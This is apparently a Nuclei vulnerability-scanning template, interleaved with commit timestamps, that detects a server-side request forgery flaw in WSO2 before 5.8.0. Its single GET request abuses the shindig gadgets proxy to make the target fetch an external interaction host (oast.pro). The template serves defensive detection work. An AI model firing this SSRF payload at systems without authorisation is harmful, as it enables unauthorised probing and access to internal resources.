2022-04-23 19:49:18 +00:00
id : WSO2-2019-0598
info :
2022-05-26 19:59:23 +00:00
name : WSO2 <5.8.0 - Server Side Request Forgery
2022-04-23 19:49:18 +00:00
author : Amnotacat
2022-05-26 19:59:23 +00:00
severity : medium
2022-04-23 19:49:18 +00:00
description : |
2022-05-26 19:59:23 +00:00
WSO2 prior to version 5.8.0 is susceptible to a server-side request forgery vulnerability. This vulnerability can be exploited by misusing the UI gadgets loading capability of the shindig web application. An attacker can alter a specific URL in the request causing the server to initiate a GET request to the altered URL.
2022-04-23 19:49:18 +00:00
remediation : |
2022-05-26 19:59:23 +00:00
Upgrade the product version to 5.8.0 or higher.
2023-10-14 11:27:55 +00:00
reference :
- https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2019-0598
2022-05-26 19:59:23 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score : 6.8
cwe-id : CWE-918
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : ssrf,wso2,shindig
2022-04-23 19:49:18 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-23 19:49:18 +00:00
- method : GET
path :
- "{{BaseURL}}/shindig/gadgets/proxy?container=default&url=http://oast.pro"
matchers-condition : and
matchers :
- type : word
words :
- "Interactsh Server"
- type : status
status :
2022-05-26 19:59:23 +00:00
- 200
2023-10-20 11:41:13 +00:00
# digest: 4a0a00473045022100c9d304b7771a2bb8d354f82c1bdd20dc71896400353658be7c17738f42e5ccec022036b6b905f824bf4d143ea15fe903d829bdca87c70142be501357f48e82d852cf:922c64590222798bb761d5b6d8e72950
